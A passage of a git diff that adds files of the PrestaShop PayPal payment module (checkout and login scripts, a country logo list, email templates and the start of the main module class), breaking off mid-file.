LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +{literal} + +$(document).ready( function() { + + $('#payment_paypal_express_checkout').click(function() { + $('#paypal_payment_form').submit(); + return false; + }); + + $('#paypal_payment_form').live('submit', function() { + var nb = $('#quantity_wanted').val(); + var id = $('#idCombination').val(); + + $('#paypal_payment_form input[name=quantity]').val(nb); + $('#paypal_payment_form input[name=id_p_attr]').val(id); + }); + + function displayExpressCheckoutShortcut() { + var id_product = $('input[name="id_product"]').val(); + var id_product_attribute = $('input[name="id_product_attribute"]').val(); + $.ajax({ + type: "GET", + url: baseDir+'/modules/paypal/express_checkout/ajax.php', + data: { get_qty: "1", id_product: id_product, id_product_attribute: id_product_attribute }, + cache: false, + success: function(result) { + if (result == '1') { + $('#container_express_checkout').slideDown(); + } else { + $('#container_express_checkout').slideUp(); + } + return true; + } + }); + } + + $('select[name^="group_"]').change(function () { + displayExpressCheckoutShortcut(); + }); + + $('.color_pick').click(function () { + displayExpressCheckoutShortcut(); + }); + + {/literal} + {if isset($paypal_authorization)} + {literal} + + /* 1.5 One page checkout*/ + var qty = $('.qty-field.cart_quantity_input').val(); + $('.qty-field.cart_quantity_input').after(qty); + $('.qty-field.cart_quantity_input, .cart_total_bar, .cart_quantity_delete, #cart_voucher *').remove(); + + var br = $('.cart > a').prev(); + br.prev().remove(); + br.remove(); + $('.cart.ui-content > a').remove(); + + var gift_fieldset = $('#gift_div').prev(); + var gift_title = gift_fieldset.prev(); + $('#gift_div, #gift_mobile_div').remove(); + gift_fieldset.remove(); + gift_title.remove(); + + {/literal} + {/if} + {if isset($paypal_confirmation)} + {literal} + + $('#container_express_checkout').hide(); + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + {/literal} + {else if isset($paypal_order_opc)} + {literal} + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + {/literal} + {/if} + {literal} + + var modulePath = 'modules/paypal'; + var subFolder = '/integral_evolution'; + {/literal} + {if Configuration::get('PS_SSL_ENABLED')} + var baseDirPP = baseDir.replace('http', 'https'); + {else} + var baseDirPP = baseDir; + {/if} + {literal} + var fullPath = baseDirPP + modulePath + subFolder; + var confirmTimer = false; + + if ($('form[target="hss_iframe"]').length == 0) { + if ($('select[name^="group_"]').length > 0) + displayExpressCheckoutShortcut(); + return false; + } else { + checkOrder(); + } + + function checkOrder() { + if(confirmTimer == false) + confirmTimer = setInterval(getOrdersCount, 1000); + } + + {/literal}{if isset($id_cart)}{literal} + function getOrdersCount() { + + + $.get( + fullPath + '/confirm.php', + { id_cart: '{/literal}{$id_cart}{literal}' }, + function (data) { + if ((typeof(data) != 'undefined') && (data > 0)) { + clearInterval(confirmTimer); + window.location.replace(fullPath + '/submit.php?id_cart={/literal}{$id_cart}{literal}'); + $('p.payment_module, p.cart_navigation').hide(); + } + } + ); + } + {/literal}{/if}{literal} +}); + +{/literal} diff --git a/modules/paypal/js/paypal_login.js b/modules/paypal/js/paypal_login.js new file mode 100755 index 0000000..498ff22 --- /dev/null +++ b/modules/paypal/js/paypal_login.js @@ -0,0 +1,43 @@ +$(function(){ldelim} + if($("#create-account_form").length > 0) + {if $smarty.const._PS_VERSION_ >= 1.6} + $("#create-account_form").parent().before('
        '); + {else} + $("#create-account_form").before('
        '); + {/if} + else + {ldelim} + {if $smarty.const._PS_VERSION_ >= 1.6} + $("#login_form").parent().before('
        '); + {else} + $("#login_form").before('
        '); + {/if} + $("#buttonPaypalLogin1").css({ldelim} + "clear" : "both", + "margin-bottom" : "13px" + {rdelim}); + {rdelim} + + $("#buttonPaypalLogin1").css({ldelim} + "clear" : "both", + 'margin-bottom' : '10px', + {if $smarty.const._PS_VERSION_ >= 1.6} + 'margin-left' : '20px', + 'width' : '100%' + {/if} + {rdelim}); + + paypal.use( ["login"], function(login) {ldelim} + login.render ({ldelim} + "appid": "{$PAYPAL_LOGIN_CLIENT_ID}", + {if $PAYPAL_SANDBOX == 1} "authend" : "sandbox",{/if} + "scopes": "openid profile email address phone https://uri.paypal.com/services/paypalattributes https://uri.paypal.com/services/expresscheckout", + "containerid": "buttonPaypalLogin1", + {if $PAYPAL_LOGIN_TPL == 2} "theme" : "neutral", {/if} + "returnurl": "{$PAYPAL_RETURN_LINK}?{$page_name}", + 'locale' : '{$paypal_locale}', + {rdelim}); + {rdelim}); +{rdelim}); + + diff --git a/modules/paypal/logo.gif b/modules/paypal/logo.gif new file mode 100755 index 0000000..455c899 Binary files /dev/null and b/modules/paypal/logo.gif differ diff --git a/modules/paypal/logo.png b/modules/paypal/logo.png new file mode 100755 index 0000000..e324819 Binary files /dev/null and b/modules/paypal/logo.png differ diff --git a/modules/paypal/logos.xml b/modules/paypal/logos.xml new file mode 100755 index 0000000..f3f9d5b --- /dev/null +++ b/modules/paypal/logos.xml @@ -0,0 +1,342 @@ + + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + /img/default_logos/default_horizontal.png + /img/default_logos/default_logo.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_AU/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_AU/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_AU/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_AU/AU/i/bnr/horizontal_solution_PP.gif + + + /img/default_logos/AU_vertical_solution_PP.png + + + + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/fr_FR/BE/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_US/BE/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_60x38.gif + https://www.paypal.com/fr_FR/i/logo/PayPal_mark_180x113.gif + + + /img/default_logos/BE_horizontal_solution_PP.png + + + /img/default_logos/BE_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/zh_CN/CN/i/logo/PayPal_mark_60x38.gif + https://www.paypal.com/zh_CN/CN/i/logo/PayPal_mark_180x113.gif + + https://www.paypal.com/zh_CN/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/zh_CN/i/bnr/vertical_solution_PP.gif + + + + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-100x27.gif + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-150x41.gif + https://www.paypal-deutschland.de/external/logocenter-update/logo-paypal-200x55.gif + + + /img/default_logos/DE_horizontal_solution_PP.gif + + + /img/default_logos/DE_vertical_solution_PP.gif + + + + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/es_ES/ES/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/es_ES/ES/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/es_ES/ES/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/es_ES/ES/i/bnr/vertical_solution_PP.gif + + + + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_37x23.jpg + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_74x46.jpg + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_111x69.jpg + + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_37x23.jpg + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_74x46.jpg + https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_111x69.jpg + + https://www.paypalobjects.com/webstatic/mktg/logo-center/logo_paypal_moyens_paiement_fr.jpg + + + + /img/default_logos/FR_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif + https://www.paypal.com/en_GB/i/bnr/vertical_solution_PP.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/HK/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/HK/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/SG/i/bnr/horizontal_solution_mc_visa.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/it_IT/IT/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/it_IT/IT/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/it_IT/IT/Marketing/i/bnr/bnr_horizontal_solutiongraphic_335x80.gif + https://www.paypalobjects.com/it_IT/IT/Marketing/i/bnr/bnr_vertical_solutiongraphic_150x172.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_US/JP/i/bnr/horizontal_solution_4_jcb.gif + https://www.paypal.com/en_US/JP/i/bnr/vertical_solution_4_jcb.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/SG/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/nl_NL/NL/i/bnr/horizontal_solution_PP.gif + + + + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/nl_NL/NL/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/nl_NL/NL/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_AU/AU/i/bnr/horizontal_solution_PP.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/PL_horizontal_solution_PP.png + + + /img/default_logos/PL_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/fr_XC/i/bnr/horizontal_solution_PPeCheck.gif + https://www.paypalobjects.com/fr_XC/i/bnr/vertical_solution_PPeCheck.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_US/PL/i/bnr/bnr_horizontal_solution_PP_166wx80h.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/RA_horizontal_solution_PP.png + + + /img/default_logos/RA_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + + /img/default_logos/RE_horizontal_solution_PP.png + + + /img/default_logos/RE_vertical_solution_PP.png + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/SG/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/SG/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/en_GB/TH/i/bnr/horizontal_solution_4_hk.gif + https://www.paypalobjects.com/en_GB/TH/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypal.com/en_GB/HK/i/bnr/horizontal_solution_4_hk.gif + https://www.paypal.com/en_GB/HK/i/bnr/vertical_solution_4_hk.gif + + + + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_80x35.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_100x45.gif + https://www.paypal.com/en_GB/Marketing/i/logo/PayPal_logo_150x65.gif + + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_37x23.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_50x34.gif + https://www.paypal.com/en_GB/GB/i/logo/PayPal_mark_60x38.gif + + https://www.paypalobjects.com/fr_XC/i/bnr/horizontal_solution_PPeCheck.gif + https://www.paypalobjects.com/fr_XC/i/bnr/vertical_solution_PPeCheck.gif + + + diff --git a/modules/paypal/mails/en/error_reporting.html b/modules/paypal/mails/en/error_reporting.html new file mode 100755 index 0000000..139e874 --- /dev/null +++ b/modules/paypal/mails/en/error_reporting.html @@ -0,0 +1,42 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {shop_name} +
         
        Hi,
         
        Error reporting from your PayPalAPI module
         
        + A client has encountered a problem with the module PayPalAPI, see the report: +
         
        + {logs} +
         
        + {shop_name} powered with PrestaShopâ„¢ +
        + + diff --git a/modules/paypal/mails/en/error_reporting.txt b/modules/paypal/mails/en/error_reporting.txt new file mode 100755 index 0000000..802ac51 --- /dev/null +++ b/modules/paypal/mails/en/error_reporting.txt @@ -0,0 +1,9 @@ + Hi, + + Error reporting from your PayPalAPI module + + A client has encountered a problem with the module PayPalAPI, see the report: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/modules/paypal/mails/en/index.php b/modules/paypal/mails/en/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/paypal.gif b/modules/paypal/paypal.gif new file mode 100755 index 0000000..e480d4b Binary files /dev/null and b/modules/paypal/paypal.gif differ diff --git a/modules/paypal/paypal.php b/modules/paypal/paypal.php new file mode 100755 index 0000000..4b74572 --- /dev/null +++ b/modules/paypal/paypal.php @@ -0,0 +1,1494 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'/paypal/api/paypal_lib.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_logos.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_orders.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_tools.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_login/paypal_login.php'); +include_once(_PS_MODULE_DIR_.'/paypal/paypal_login/PayPalLoginUser.php'); + +define('WPS', 1); //Paypal Integral +define('HSS', 2); //Paypal Integral Evolution +define('ECS', 4); //Paypal Option + + +define('TRACKING_INTEGRAL_EVOLUTION', 'FR_PRESTASHOP_H3S'); +define('TRACKING_INTEGRAL', 'PRESTASHOP_EC'); +define('TRACKING_OPTION_PLUS', 'PRESTASHOP_ECM'); +define('PAYPAL_HSS_REDIRECTION', 0); +define('PAYPAL_HSS_IFRAME', 1); +define('TRACKING_EXPRESS_CHECKOUT_SEAMLESS', 'PrestaShopCEMEA_Cart_LIPP'); + + +define('TRACKING_CODE', 'FR_PRESTASHOP_H3S'); +define('SMARTPHONE_TRACKING_CODE', 'Prestashop_Cart_smartphone_EC'); +define('TABLET_TRACKING_CODE', 'Prestashop_Cart_tablet_EC'); + +define('_PAYPAL_LOGO_XML_', 'logos.xml'); +define('_PAYPAL_MODULE_DIRNAME_', 'paypal'); +define('_PAYPAL_TRANSLATIONS_XML_', 'translations.xml'); + +class PayPal extends PaymentModule +{ + protected $_html = ''; + + public $_errors = array(); + + public $context; + public $iso_code; + public $default_country; + + public $paypal_logos; + + public $module_key = '646dcec2b7ca20c4e9a5aebbbad98d7e'; + + const BACKWARD_REQUIREMENT = '0.4'; + const DEFAULT_COUNTRY_ISO = 'GB'; + + const ONLY_PRODUCTS = 1; + const ONLY_DISCOUNTS = 2; + const BOTH = 3; + const BOTH_WITHOUT_SHIPPING = 4; + const ONLY_SHIPPING = 5; + const ONLY_WRAPPING = 6; + const ONLY_PRODUCTS_WITHOUT_SHIPPING = 7; + + public function __construct() + { + $this->name = 'paypal'; + $this->tab = 'payments_gateways'; + $this->version = '3.8.0'; + $this->author = 'PrestaShop'; + + $this->currencies = true; + $this->currencies_mode = 'radio'; + + parent::__construct(); + + $this->displayName = $this->l('PayPal'); + $this->description = $this->l('Accepts payments by credit cards (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) with PayPal.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete your details?'); + + + $this->page = basename(__FILE__, '.php'); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $mobile_enabled = (int)Configuration::get('PS_MOBILE_DEVICE'); + require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + } + else + $mobile_enabled = (int)Configuration::get('PS_ALLOW_MOBILE_DEVICE'); + + if (self::isInstalled($this->name)) + { + $this->loadDefaults(); + if ($mobile_enabled && $this->active) + $this->checkMobileCredentials(); + elseif ($mobile_enabled && !$this->active) + $this->checkMobileNeeds(); + } + else + $this->checkMobileNeeds(); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('payment') || !$this->registerHook('paymentReturn') || + !$this->registerHook('shoppingCartExtra') || !$this->registerHook('backBeforePayment') || !$this->registerHook('rightColumn') || + !$this->registerHook('cancelProduct') || !$this->registerHook('productFooter') || !$this->registerHook('header') || + !$this->registerHook('adminOrder') || !$this->registerHook('backOfficeHeader')) + return false; + + if ((_PS_VERSION_ >= '1.5') && (!$this->registerHook('displayMobileHeader') || + !$this->registerHook('displayMobileShoppingCartTop') || !$this->registerHook('displayMobileAddToCartTop'))) + return false; + + include_once(_PS_MODULE_DIR_.'/'.$this->name.'/paypal_install.php'); + $paypal_install = new PayPalInstall(); + $paypal_install->createTables(); + $paypal_install->updateConfiguration($this->version); + $paypal_install->createOrderState(); + + $paypal_tools = new PayPalTools($this->name); + $paypal_tools->moveTopPayments(1); + $paypal_tools->moveRightColumn(3); + + $this->runUpgrades(true); + + return true; + } + + public function uninstall() + { + include_once(_PS_MODULE_DIR_.'/'.$this->name.'/paypal_install.php'); + $paypal_install = new PayPalInstall(); + $paypal_install->deleteConfiguration(); + return parent::uninstall(); + } + + /** + * Launch upgrade process + */ + public function runUpgrades($install = false) + { + if (version_compare(_PS_VERSION_, '1.5', '<')) + foreach (array('2.8', '3.0', '3.7') as $version) + { + $file = dirname(__FILE__).'/upgrade/install-'.$version.'.php'; + if (Configuration::get('PAYPAL_VERSION') < $version && file_exists($file)) + { + include_once($file); + call_user_func('upgrade_module_'.str_replace('.', '_', $version), $this, $install); + } + } + } + + private function compatibilityCheck() + { + if (file_exists(_PS_MODULE_DIR_.'/paypalapi/paypalapi.php') && $this->active) + $this->warning = $this->l('All features of Paypal API module are included in the new Paypal module. In order to do not have any conflict, please do not use and remove PayPalAPI module.').'
        '; + + /* For 1.4.3 and less compatibility */ + $update_config = array('PS_OS_CHEQUE' => 1, 'PS_OS_PAYMENT' => 2, 'PS_OS_PREPARATION' => 3, 'PS_OS_SHIPPING' => 4, + 'PS_OS_DELIVERED' => 5, 'PS_OS_CANCELED' => 6, 'PS_OS_REFUND' => 7, 'PS_OS_ERROR' => 8, 'PS_OS_OUTOFSTOCK' => 9, + 'PS_OS_BANKWIRE' => 10, 'PS_OS_PAYPAL' => 11, 'PS_OS_WS_PAYMENT' => 12); + + foreach ($update_config as $key => $value) + if (!Configuration::get($key) || (int)Configuration::get($key) < 1) + { + if (defined('_'.$key.'_') && (int)constant('_'.$key.'_') > 0) + Configuration::updateValue($key, constant('_'.$key.'_')); + else + Configuration::updateValue($key, $value); + } + } + + public function isPayPalAPIAvailable() + { + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if ($payment_method != HSS && !is_null(Configuration::get('PAYPAL_API_USER')) && + !is_null(Configuration::get('PAYPAL_API_PASSWORD')) && !is_null(Configuration::get('PAYPAL_API_SIGNATURE'))) + return true; + elseif ($payment_method == HSS && !is_null(Configuration::get('PAYPAL_BUSINESS_ACCOUNT'))) + return true; + + return false; + } + + /** + * Initialize default values + */ + protected function loadDefaults() + { + $this->loadLangDefault(); + $this->paypal_logos = new PayPalLogos($this->iso_code); + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + $order_process_type = (int)Configuration::get('PS_ORDER_PROCESS_TYPE'); + + if (Tools::getValue('paypal_ec_canceled') || $this->context->cart === false) + unset($this->context->cookie->express_checkout); + + if (version_compare(_PS_VERSION_, '1.5.0.2', '>=')) + { + $version = Db::getInstance()->getValue('SELECT version FROM `'._DB_PREFIX_.'module` WHERE name = \''.$this->name.'\''); + if (empty($version) === true) + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'module` m + SET m.version = 